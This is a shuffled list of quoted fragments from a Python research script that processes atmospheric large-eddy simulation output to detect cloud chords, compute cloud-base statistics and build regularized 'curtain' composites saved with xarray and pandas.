"=n_curtain_bin xr_dataset[reg_var+'_up'].attrs['n'] =n_curtain_bin_up xr_dataset[reg_var+'_dw'].attrs['n'] =n_curtain_bin_dw xr_dataset.attrs = settings_dict save_string =",
"snapshot # time_slice_curtain: 0 only puts out the total sums,",
"the function repeatedly #Should be able to work for any",
"save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string_base = save_string_base+'_'+special_name+'_N'+str(n_curtain) save_string",
"to be regularized filename_var = directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0]",
"var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_dw += 1 var_curtain_dw_sum += var_curtain_tmp else:",
"= np.vstack([chord_w_per,tmp_w_per]) chord_w_per_up = np.vstack([chord_w_per,tmp_w_per_up]) if data_dim_flag==1: chord_time.append(np.mean(t_1d[ch_idx_l])) if data_dim_flag==3:",
"= w2[tt,z] #w_var = np.var(w_1d[z,:]) #Mimimum of LCL +100 or",
"gives us a fake time resolution #we use the calculated",
"the chord searcher print('skipping timestep: ',it,' cause no clouds') ql_2d",
"disabled for the mean time def proc_chords( date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output='/data/testbed/lasso/chords/',",
"var_reg_inter #Now that w_x_low_z_high we have to interpolate 2D onto",
"# N_it_max = maximum number of iterables, 3D timesteps or",
"or, now just add it on w_3d = np.transpose( w_3d,",
"var_t_low_z_high = np.zeros([curtain_cells,n_z_reg]) #introducing z_idx_base vector #Assigning reference cloud base",
"total_surf_qt_flux = file_prof['qtflux'][:,1] time_prof = file_prof['time'][:] cbl_1d_prof = time_prof*0.0 #Hack",
"mix of percentile and cloud base as done my Neil,",
"\"/home/pgriewank/code/2019-chords-plumes/\") #from unionfind import UnionFind from cusize_functions import * #import",
"='data_pdfs/', data_dim_flag=3, special_name='', N_it_max=1e9, N_it_min=0, anomaly_flag =0, N_bins=400, base_percentile =",
"glob import xarray as xr #turned into a function #removed",
"= np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) thl_star = surf_thl_flux/w_star chord_w_star.append(w_star ) chord_thl_star.append(thl_star ) chord_qt_star.append(qt_star",
"nothing, 1 plots pre regularization plots, currently dissabled # data_dim_flag:",
"= grab_3d_field(file_ql ,it,'ql') w_3d = grab_3d_field(file_w ,it,'w') qt_3d = grab_3d_field(file_qt",
"and thus all surface fluxes are the same everywhere. surf_flux",
"print('skipping timestep: ',it,' cause no clouds') ql_2d = np.zeros((nz,1)) w_2d",
"is. 1 use reg_var - profile. Works easiest for 3d",
"#Number of percentiles percentiles = np.array([5,10,35,50,65,90,95]) #1D clustering parameters in",
"closing files #file_col.close() #The needed cbl height cbl_1d = t_1d*0",
"length before and after in the curtain, default is 1",
"(np.abs(t_1d - (time_beg_chord-curtain_extra*(time_end_chord-time_beg_chord)))).argmin()-1 idx_end_curtain = (np.abs(t_1d - (time_end_chord+curtain_extra*(time_end_chord-time_beg_chord)))).argmin()+2 idx_end_curtain =",
"used. if idx_end_curtain<nt-2 and idx_beg_curtain>2 and len(cbl_cl_idx[t_chord_begin:t_chord_end])>curtain_min-1: n_curtain += 1",
"the file. #If the input data is a 3D field",
"= t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] chord_length = ch_duration*V_ref #if scale_flag==0: # scaling_factor=1. #find",
"= directory_input+date+'/ql.nc' file_w = Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') [nz, nx,",
"chord_w_base = [] chord_w_star = [] chord_thl_star = [] chord_qt_star",
"print(':') print(':') print(':') #Replacing saving with xarray xr_dataset = xr.Dataset(",
"to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_col = np.hstack([var_orig_col[0],var_orig_col]) #1D",
"n_iter =len(time_prof) #for col in filename_column: n_iter = min(n_iter,N_it_max) for",
"than the max height cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0",
"model output exactly with not gap possible # anomaly_flag: 0",
"chord_w_per = np.vstack([chord_w_per,tmp_w_per]) chord_w_per_up = np.vstack([chord_w_per,tmp_w_per_up]) if data_dim_flag==1: chord_time.append(np.mean(t_1d[ch_idx_l])) if",
"get_zxy_dimension(filename_l,'ql') #getting variable to be regularized filename_var = directory_input+date+'/'+reg_var+'.nc' file_var",
"easiest for 3d output, 1d_flag needs to use the closet",
"def func_curtain_reg(input_2d_field): #function regularizes to cloud base #2019-03-20: added smoother",
"chord_time = [] chord_height = [] #percentile of cloud base",
"+= 1 t_chord_end = t_cloudy_idx #Checking if it fulfils chord",
"If 0, nothing, if 1, it scales the output by",
"scaling total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1]",
"'+save_string) print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':')",
"file_col.variables['qt'][:] qt_2d = qt_2d.transpose() u_2d = file_col.variables['u'][:] u_2d = u_2d.transpose()",
"chord_max/2 is reached # boundary_scaling_flag: 0 nothing, 1 uses the",
"t_1d = file_col.variables['time'][:] print('t_1d',t_1d) #Load the var file, even if",
"= var_hist_sum+var_hist else: print('no cloudy columns apparently') var_pdf = var_hist_sum",
"if data_dim_flag==3: n_iter =len(time_prof) #for col in filename_column: n_iter =",
"1.5, total width defined by curtain_extra #takes the original time",
"the closet mean profile if anomaly_flag==1: for tt in range(len(time_prof)):",
"the profile file later on dx = 25.0 date =",
"= 0. #should be pretty strict, no gaps allowed! t_min",
"is now added here, #Things are applied twice so that",
"var_2d = ql_2d #Should now be able to delete 3d",
"a vertical interpolation is done for i in range(idx_beg_curtain,idx_end_curtain): #assigining",
"= grab_3d_field(file_thl ,it,'thl') #Here we have to do all the",
"[] chord_qt = [] chord_qt_25 = [] chord_qt_75 = []",
"to use the closet mean profile # directory_input = '/data/testbed/lasso/sims/'",
"=np.asarray(chord_qt_25) chord_qt_75 =np.asarray(chord_qt_75) chord_time =np.asarray(chord_time) #Saving print('all chords: ',len(chord_duration)) save_string_base",
"np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star var_curtain_tmp = var_curtain_tmp/boundary_scaling #Finally add it",
"import Dataset import os import time as ttiimmee from scipy.interpolate",
"vec #First loading surface variables from default profile print('calculating cbl",
"files which contain column. column_files = glob.glob(directory_input+date+'/*.column.*.*.*.nc') for c_file in",
"np.zeros((nz,1)) w_2d = np.zeros((nz,1)) thl_2d = np.zeros((nz,1)) qt_2d = np.zeros((nz,1))",
"if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min",
"apply the nearest value to the full 1d time vec",
"to screen out fog/dew stuff at the surface if t_chord_end-t_chord_begin>cell_min:",
"boundary_scaling_flag: 0 nothing, 1 uses the surface fluxes and cloud",
"ql_min = 1e-5 z_min = 10 #Index of minimum z_vlvl",
"z_prof = file_prof['z'][:] dz = z_prof[1]-z_prof[0] print('dz: ',dz) #for boundary",
"from -10 to 10 and a 0.1 spacing var_hist_sum=np.zeros(N_bins) date",
"surface fluxes are the same everywhere. surf_flux = np.mean(bflux_s_1d) base_height",
"height as the reference lvl ref_idx = np.mean(cl_base[cbl_cl_idx]) if scale_flag",
"= f(z_reg_mid) except: print(z_idx_base[i]) print(z_reg_orig) print(z_reg_mid) var_t_low_z_high[i-idx_beg_curtain,:] = var_reg_inter #Now",
"Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') [nz, nx, ny] = get_zxy_dimension(filename_l,'ql') #getting",
"2, similar to 1 but now using a profile #",
"import UnionFind from cusize_functions import * #import matplotlib.pyplot as plt",
"properties are calculatted immediately t_cloudy_idx = 0 #n_chords = 0",
"the full 1d time vec #First loading surface variables from",
"points included: ',len(cbl_cl_idx)) #Does it matter if I turn these",
"w_star = (tmp_base_height*surf_b_flux)**(1./3.) surf_qt_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) qt_star = surf_qt_flux/w_star surf_thl_flux",
"use to be an either or, now just add it",
"= var_reg_inter #Now that w_x_low_z_high we have to interpolate 2D",
"of the next cloudy cell is the same as the",
"# chord_max: Maximum number of chords. If data_dim_flag=3 it will",
"in range(len(time_prof)): tmp_matrix = var_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = var_prof[tt,:] #because the",
"file_prof = Dataset(filename_prof,read='r') n_chords = 0 #I will try lists",
"used, the variable is scaled accordingly #Only called if there",
"short empty fields over to the chord searcher print('skipping timestep:",
"helps gc.collect() #Getting anomalies of thl and qt qt_2d[:,:] =",
"= u_ref_prof/V_ref_prof scaling_factor_y_prof = v_ref_prof/V_ref_prof #Using the mean cloud base",
"time. if data_dim_flag==1: print('sorry, but I havent implemented star scaling",
"height of 100 m to screen out fog/dew stuff at",
"scaling_factor_prof = 2*scaling_factor_y_inter for n_prof in range(scaling_factor_prof.shape[0]): if scaling_factor_prof[n_prof]>0: var_curtain_tmp[:,n_prof]",
"cl_base = np.zeros(nt) #Detecting all cloudy cells #Use to have",
"3D output #Default is now to always go over x",
"pre interpolation #I originally used interp2d, tried griddata but it",
"w below #Coming next chord_w_per = np.zeros([0,n_percentiles]) chord_w_per_up = np.zeros([0,n_percentiles])",
"1d time vec #First loading surface variables from default profile",
"the surface fluxes and cloud base height to calculate either",
"#Now we go through profile time snapshots and allocate the",
"bflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_buoy_flux[tt] qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to",
"#Then latter apply the nearest value to the full 1d",
"I just use idx_beg_curtain as one. i=idx_beg_curtain d_z_tmp = 1.0/z_idx_base[i]",
"idx_end_chord = cbl_cl_idx[t_chord_end] time_beg_chord = t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #Calculate",
"be regularized filename_var = directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/testbed?default?0*.nc')[0] #filename_prof=directory_input+date+'/testbed.default.0000000.nc'",
"with xarray xr_dataset = xr.Dataset( data_vars = {reg_var :(('regularized height',",
"4: if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_cloudy_idx])) #Here we start",
"over multiple dates, if you want to do that call",
"var_t_low_z_high[i-idx_beg_curtain,:] = var_reg_inter #Now that w_x_low_z_high we have to interpolate",
"needed for scale_flag # scale_flag: If 0, nothing, if 1,",
"function repeatedly #Should be able to work for any variable",
"is this zero: ',np.mean(w_tmp),w_tmp) ############################################################################################################################## #PLOTS ############################################################################################################################## #If the plot",
"it was a lot slower #Calculating the regularized t axis",
"n_curtain_bin[bin_idx] += 1 var_curtain_bin_sum[bin_idx,:,:] = var_curtain_bin_sum[bin_idx,:,:] + var_curtain_tmp if np.mean(w_tmp)>0.:",
"save all properties settings_dict = { 'reg_var': reg_var, 'date_str':date_str, 'directory_input':directory_input,",
"= 'chord_prop_'+date+'_d'+str(data_dim_flag)+'_ct'+str(chord_times) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base",
"= v_2d.transpose() print('t_1d',t_1d) #Load the var file, even if means",
"resolution #mesh_t_low_z_high_x,mesh_t_low_z_high_z = np.meshgrid(t_reg_orig,z_reg_mid) #seems not to be needed var_t_low_z_high",
"#First thing to do is calculate the chord base using",
"list of all timesteps that below to that chordlength #However",
"go through all cloudy timesteps and detect chords #If they",
"total_surf_thl_flux[it] time2 = ttiimmee.time() print('loading time:',(time2-time1)*1.0,) ### Detecting lowest cloud",
"that w_x_low_z_high we have to interpolate 2D onto the rull",
"print('saved size binned beards to '+save_string) print(':') print(':') print(':') print(':')",
"np.zeros((nz,1)) w_2d = np.zeros((nz,1)) var_2d = np.zeros((nz,1)) t_1d = np.zeros(1)",
"if np.mean(w_tmp)>0.: n_curtain_up += 1 var_curtain_up_sum += var_curtain_tmp elif np.mean(w_tmp)<0.:",
"+ np.log(rel_hum) dewpoint = (B * alpha) / (A -",
"sums var_curtain_sum = var_curtain_sum+var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_up += 1 var_curtain_up_sum",
"ch_duration<t_max and chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1",
"as long as it is named the same as the",
"import * #import matplotlib.pyplot as plt import pandas as pd",
"chord_height = [] #percentile of cloud base chord_w = []",
"we pass a very short empty fields over to the",
"thlflux_s_1d = t_1d*0 #Now we go through profile time snapshots",
"are counted as a chord #and their properties are calculatted",
"date_str n_percentiles = 7 #Number of percentiles percentiles = np.array([5,10,35,50,65,90,95])",
"done my Neil, 1: smooth out base after setting it",
"print(':') print('chordlength properties saved as panda in ',filename_chord_panda) print(':') print(':')",
"w_2d = file_col.variables['w'][:] w_2d = w_2d.transpose() ql_2d = file_col.variables['ql'][:] ql_2d",
"var_curtain #Creating regularized grid. d_reg = 0.005 n_z_reg = int(1.5/d_reg)",
"output #Default is now to always go over x and",
"started. The lowest bin should be empty, because we only",
"lower than t_min or higher than t_max seconds it isn't",
"#Creating dictionary to save all properties settings_dict = { 'reg_var':",
"+ 273.15 LCL = 125.*(T-dewpoint) LCL_index = np.floor(LCL/dz) #now calculate",
"testing things quickly # size_bin_flag bins the beards by their",
"=len(time_prof) #Setting curtains for var var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum =",
"w_3d = np.transpose( w_3d, (0, 2, 1)) ql_3d = np.transpose(ql_3d,",
"how is this zero: ',np.mean(w_tmp),w_tmp) #globals().update(locals()) ############################################################################################################################################### ################## SIZE BINNING",
"boundary_scaling_flag = 0 ): # reg_var = variable that will",
"in range(scaling_factor_prof.shape[0]): if scaling_factor_prof[n_prof]>0: var_curtain_tmp[:,n_prof] = var_curtain_tmp[::-1,n_prof] var_curtain_tmp [:,n_prof]= abs(scaling_factor_prof[n_prof])*var_curtain_tmp[:,n_prof]",
"slower #Calculating the regularized t axis but for original resolution",
"file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d) thl_2d =",
"w2.shape[1] z_prof = file_prof['z'][:] dz = z_prof[1]-z_prof[0] total_surf_buoy_flux = file_prof['bflux'][:,1]",
"t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx += 1 t_chord_end = t_cloudy_idx #Checking if it",
"chords w_tmp = w_2d[cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]]-1,cbl_cl_idx[t_chord_begin:t_chord_end]] #print(w_tmp) #Scaling is now added here,",
"(0, 2, 1)) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d",
"= Dataset(filename_prof,read='r') n_chords = 0 #I will try lists first,",
"2*scaling_factor_y_inter for n_prof in range(scaling_factor_prof.shape[0]): if scaling_factor_prof[n_prof]>0: var_curtain_tmp[:,n_prof] = var_curtain_tmp[::-1,n_prof]",
"np.zeros([N_bins]) var_curtain_bin_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_up_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_dw_sum = np.zeros([N_bins,n_t_reg,n_z_reg])",
"t_chord_begin = t_cloudy_idx #now connecting all cloudy indexes #Originally only",
"cloud present z_idx_base=cl_base*1.0+0.0 z_idx_base[:] = z_idx_base_default for i in range(idx_beg_chord,idx_end_chord):",
"an error for the mean time. if data_dim_flag==1: print('sorry, but",
"+ var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_bin_up[bin_idx] += 1 var_curtain_bin_up_sum[bin_idx,:,:] += var_curtain_tmp",
"ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d) thl_2d = file_col.variables['thl'][:]",
"regularized t axis but for original resolution #It is expected",
"chord_thl.append(np.mean(thl_2d[cl_base[ch_idx_l]-1,ch_idx_l])) #get a fourth and 3/4 of the cloud base",
"chord_time =np.asarray(chord_time) #Saving print('all chords: ',len(chord_duration)) save_string_base = 'chord_prop_'+date+'_d'+str(data_dim_flag)+'_ct'+str(chord_times) if",
"import griddata #from mpl_toolkits.axes_grid1 import make_axes_locatable import pickle import sys",
"surf_flux = np.mean(bflux_s_1d) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w': boundary_scaling",
"the closet mean profile # directory_input = '/data/testbed/lasso/sims/' #+date #",
"def proc_chords( date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output='/data/testbed/lasso/chords/', data_dim_flag=1, base_percentile = 25, special_name='',",
"for scale_flag # scale_flag: If 0, nothing, if 1, it",
"this helps gc.collect() #Getting anomalies of thl and qt qt_2d[:,:]",
"i=idx_beg_curtain d_z_tmp = 1.0/z_idx_base[i] var_orig_2d = input_2d_field[:,idx_beg_curtain:idx_end_curtain] nz = var_orig_2d.shape[0]",
"the mean time def proc_chords( date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output='/data/testbed/lasso/chords/', data_dim_flag=1, base_percentile",
"#Using the mean cloud base height as the reference lvl",
"saving with xarray xr_dataset = xr.Dataset( data_vars = {reg_var :(('regularized",
"and end idx_beg_chord = cbl_cl_idx[t_chord_begin] idx_end_chord = cbl_cl_idx[t_chord_end] time_beg_chord =",
"of bin close to mid size bin bin_idx = np.where(np.abs(chord_length-mid_bin_size)<125)[0]",
"n_chords = 0 #I will try lists first, which I",
"to save all properties settings_dict = { 'reg_var': reg_var, 'date_str':date_str,",
"the function repeatedly #Full list of variables to analyze is",
"> 0 and t_1d.shape[0]>3: #calculate the profiles of u and",
"to have a different method using nans that doesn:t work",
"Detecting lowest cloud cell is within 300 m of CBL",
"that will be regularized # plot_curtains_flag: 0 nothing, 1 plots",
"data_dim_flag: 1 = column, 3 = 3D snapshot # time_slice_curtain:",
"== 0: t_gap = 20 t_min = 30 t_max =",
"the profile data, which devided by the grid spacing gives",
"= 10 #Minimal number of cells needed per chord curtain_min",
"then scales it by 1/(time_end_chord-time_beg_chord) t_reg_orig = t_1d[idx_beg_curtain:idx_end_curtain]-(time_beg_chord+time_end_chord)/2. t_reg_orig =",
"= f_x(z_reg_mid) scaling_factor_y_inter = f_y(z_reg_mid) print('Scaling flag 2:, mean scaling_factor_x_inter:",
"plotted. if plot_curtains_flag ==1: print('plotting not implemented yet') ############################################################################################################################## #switching",
"or lcl as reference height ref_lvl = cbl_1d_prof[it] else: #If",
"basedefinition is needed, all values are relative to cloud base",
"= (func_curtain_reg(var_2d)).transpose() if boundary_scaling_flag == 1: #Now adding the boundary",
"1 t_chord_end = t_cloudy_idx #print('t_chord_end',t_chord_end) #Checking if it fulfils chord",
"work for any variable in the column output, or for",
"date = date_str #1D clustering parameters in seconds, taken to",
"ql_2d.transpose() t_1d = file_col.variables['time'][:] u_2d = file_col.variables['u'][:] u_2d = u_2d.transpose()",
"idx_end_curtain = (np.abs(t_1d - (time_end_chord+curtain_extra*(time_end_chord-time_beg_chord)))).argmin()+2 idx_end_curtain = min(idx_end_curtain,nt-1) time_beg_curtain =",
"xr_dataset[reg_var+'_up'].attrs['n']=n_curtain_up xr_dataset[reg_var+'_dw'].attrs['n']=n_curtain_dw xr_dataset.attrs = settings_dict #Making save string save_string_base =",
"file_prof = Dataset(filename_prof,read='r') extra_string = '' #This now a bit",
"#If they fulful chord time requirements and have a number",
"file, even if means that we doable load w_2d or",
"Neil z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]],base_percentile)) #Regularized curtains, I am too lazy",
"= t_1d[idx_beg_curtain] time_end_curtain = t_1d[idx_end_curtain] chord_cells = t_chord_end-t_chord_begin curtain_cells =",
"time_beg_chord = t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_chord_end])) #list of relevant",
"- profile. Works easiest for 3d output, 1d_flag needs to",
"curtain # #1D clustering parameters, #set super strict if chord_times",
"properties chord_timesteps.append(t_chord_end-t_chord_begin) chord_duration.append(ch_duration) chord_length.append(ch_duration*V_ref) tmp_base_height = np.percentile(cl_base[ch_idx_l],base_percentile)*dz chord_height.append(tmp_base_height) #25th percentile",
"simply go through all cloudy timesteps #As long as the",
"(cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx += 1 t_chord_end = t_cloudy_idx #Checking",
"= Dataset(filename_l,read='r') [nz, nx, ny] = get_zxy_dimension(filename_l,'ql') #getting variable to",
"= np.hstack([[0],z_reg_orig]) var_orig_col = np.hstack([var_orig_col[0],var_orig_col]) #1D vertical interpolation to get",
"date_str #value used to determine existence of cloud ql_min =",
"= {reg_var :(('regularized height', 'regularized time','length'), var_curtain_bin_sum.transpose()/n_curtain_bin), reg_var+'_up':(('regularized height', 'regularized",
"index of bin close to mid size bin bin_idx =",
"stuff at the surface if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) chord_duration",
"'base_smoothing_flag':base_smoothing_flag, 'plot_curtains_flag' :plot_curtains_flag, 'base_percentile':base_percentile, 'special_name':special_name, 'scale_flag':scale_flag, 'chord_times':chord_times, 'anomaly_flag':anomaly_flag, 'N_it_max':N_it_max, 'N_it_min':N_it_min,",
"interp2d(t_reg_orig, z_reg_orig,var_orig_2d, kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) return var_curtain #Creating regularized",
": cl_base[t]=np.argmax(ql_2d[:,t]>ql_min) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find c base lower",
"= 2*scaling_factor_x else: scaling_factor = 2*scaling_factor_y if scaling_factor>0: var_curtain_tmp =",
"variable is scaled accordingly #Only called if there are any",
"bin close to mid size bin bin_idx = np.where(np.abs(chord_length-mid_bin_size)<125)[0] if",
"only cared if they fulfilled cloud criteria, but now I",
"= list(zip(chord_timesteps,chord_duration,chord_length,chord_height,chord_w_base,chord_w,chord_w_flux,chord_time,chord_w_up,chord_w_per,chord_w_per_up, chord_w_star,chord_thl_star,chord_qt_star, chord_thl,chord_thl_25,chord_thl_75,chord_qt,chord_qt_25,chord_qt_75)) df = pd.DataFrame(data = data_for_panda, columns=['timesteps','duration','length','height','w_base','w','w_flux','time','w",
",np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #Should",
"here if required. Is skipped if there are less than",
"over to the chord searcher print('skipping timestep: ',it,' cause no",
"set to 0 if data_dim_flag==1 # 1 the ref_lvl used",
"Dataset(filename_prof,read='r') n_chords = 0 #I will try lists first, which",
"plot_curtains_flag ==1: print('plotting not implemented yet') ############################################################################################################################## #switching to y",
"cl_base_25_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)/4.) cl_base_75_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)*3./4.)",
"chord_time.append(time_prof[it]) t_cloudy_idx += 1 time3 = ttiimmee.time() print('iterable: ',it) print('n_chords:",
"the profile, #Then latter apply the nearest value to the",
"= w_2d.transpose() ql_2d = file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d =",
"z_idx_base*1.0 N = int(np.floor(idx_end_chord-idx_beg_chord)*0.1) for i in range(idx_beg_chord-N,idx_end_chord+N): z_idx_base_smooth[i] =",
"the same as the file. #If the input data is",
"variable in the column output, or for any 3D variable",
"able to work for any variable in the column output,",
"columns') if len(cbl_cl_idx)>0: #Now calculating the var at cloud base",
"else: chord_z_min = 0 ch_duration = 0 if ch_duration>t_min and",
"time_begin = ttiimmee.time() dz = 25.0 #39.0625 #should be overwritten",
"direction when chord_max/2 is reached # boundary_scaling_flag: 0 nothing, 1",
"anomalies if anomaly flag is used if anomaly_flag==1: #because the",
"#a new reference level is com scaling_factor_x = scaling_factor_x_prof[int(ref_idx)] scaling_factor_y",
"below to that chordlength #However if the duration of the",
"cells, because it is possible to get #Small chord lengths",
"this zero: ',np.mean(w_tmp),w_tmp) #globals().update(locals()) ############################################################################################################################################### ################## SIZE BINNING ############################################################################################################## ###############################################################################################################################################",
"= [] while t_cloudy_idx < len(cbl_cl_idx)-1:# and n_curtain<100*it: ####################################GO HERE",
"if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d) boundary_scaling = surf_flux/w_star if reg_var=='thl':",
"chord base using the 25 percentile in agreement with Neil",
"#Now for each of the columns of the original curtain",
"var_curtain_tmp[::-1,n_prof] var_curtain_tmp [:,n_prof]= abs(scaling_factor_prof[n_prof])*var_curtain_tmp[:,n_prof] #Now adding the var_curtain_tmp to the",
"thlflux_s_1d= t_1d*0 #Now we go through profile time snapshots and",
"#chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_chord_end])) #list of relevant chord indexes ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) #getting",
"chord_qt_75 =np.asarray(chord_qt_75) chord_time =np.asarray(chord_time) #Saving print('all chords: ',len(chord_duration)) save_string_base =",
"timesteps or column files. Only reall makes sense for 3D",
"time for tt in range(len(time_prof)): w_var = 1.0 z=z_min while",
"the regularized z axis d_z_tmp = 1.0/ref_idx nz = scaling_factor_x_prof.shape[0]",
"harsch jumps #2019-03-28: Added simplified version for base_smoothing_flag == 2",
"'w star','thl star','qt star', 'thl','thl 25','thl 75','qt','qt 25','qt 75']) df.to_pickle(filename_chord_panda)",
"#list of relevant chord indexes ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) #getting V_ref",
"sum of up or downdraft chords w_tmp = w_2d[cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]]-1,cbl_cl_idx[t_chord_begin:t_chord_end]] #print(w_tmp)",
"thl_3d = np.transpose(thl_3d, (0, 2, 1)) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))])",
"vectors don't perfectly align var_2d[:,:] = (var_2d.transpose() - var_prof[it,:]).transpose() #to",
"time3 = ttiimmee.time() print('curtain processing:',(time3-time2)/60.0,'minutes') print(':') print(':') print(':') time_end =",
"vector for the lower time resolution of the profile, #Then",
"file_prof['qt'][:,:] nz_prof = w2.shape[1] z_prof = file_prof['z'][:] dz = z_prof[1]-z_prof[0]",
"'_beard_'+date+'_d'+str(data_dim_flag)+'_cb'+str(base_smoothing_flag)+'_an'+str(anomaly_flag)+'_ct'+str(chord_times)+'_ce'+str(int(curtain_extra)) if data_dim_flag==3: save_string_base = save_string_base+'_sf'+str(scale_flag) if N_it_min>0: save_string_base =",
"total, if so the cells are connected while t_cloudy_idx <",
"base where no cloud present z_idx_base=cl_base*1.0+0.0 z_idx_base[:] = z_idx_base_default for",
"cloudy cells are right next to each other they are",
"it happens if cbl_1d_prof[tt]>0.6*nz_prof: print('warning, cbl height heigher than 0.6",
"to the chord searcher print('skipping timestep: ',it,' cause no clouds')",
"t vector, t_1d = np.linspace(0,2*nx*ny,2*nx*ny) #Switching to anomalies if anomaly",
"= w2.shape[1] var_prof = file_prof[reg_var][:,:] #needed for anomaly processing #Just",
"agree with Lareau if chord_times == 0: t_gap = 20",
"else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find c base lower than the",
"var_curtain_tmp else: print('wtf how is this zero: ',np.mean(w_tmp),w_tmp) ############################################################################################################################## #PLOTS",
"chord_w_star.append(w_star ) chord_thl_star.append(thl_star ) chord_qt_star.append(qt_star ) chord_w_base.append(np.mean(w_2d[cl_base[ch_idx_l],ch_idx_l])) chord_w.append(np.mean(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_thl.append(np.mean(thl_2d[cl_base[ch_idx_l]-1,ch_idx_l])) #get",
"reached # boundary_scaling_flag: 0 nothing, 1 uses the surface fluxes",
"= t_cloudy_idx #print('t_chord_end',t_chord_end) #Checking if it fulfils chord criteria regaring",
"date_str='20160611', directory_input ='/data/testbed/lasso/sims/', directory_output ='data_pdfs/', data_dim_flag=3, special_name='', N_it_max=1e9, N_it_min=0, anomaly_flag",
"'date_str':date_str, 'directory_input':directory_input, 'data_dim_flag':data_dim_flag, 'base_smoothing_flag':base_smoothing_flag, 'plot_curtains_flag' :plot_curtains_flag, 'base_percentile':base_percentile, 'special_name':special_name, 'scale_flag':scale_flag, 'chord_times':chord_times,",
"scaling_factor>0: var_curtain_tmp = var_curtain_tmp[::-1,:] var_curtain_tmp = abs(scaling_factor) * var_curtain_tmp if",
"regularized grid. d_reg = 0.005 n_z_reg = int(1.5/d_reg) n_t_reg =",
"column files. Only reall makes sense for 3D to avoid",
"cloud. for t in range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>1e-6) else:",
"3 #Minimal number of cells needed per chord ql_min =",
"needed per chord ql_min = 1e-5 #value used to determine",
"sum(var_pdf), 'points to '+save_string) print(':') print(':') print(':') print(':') print(':') print(':')",
"only puts out the total sums, 1: adds a seperate",
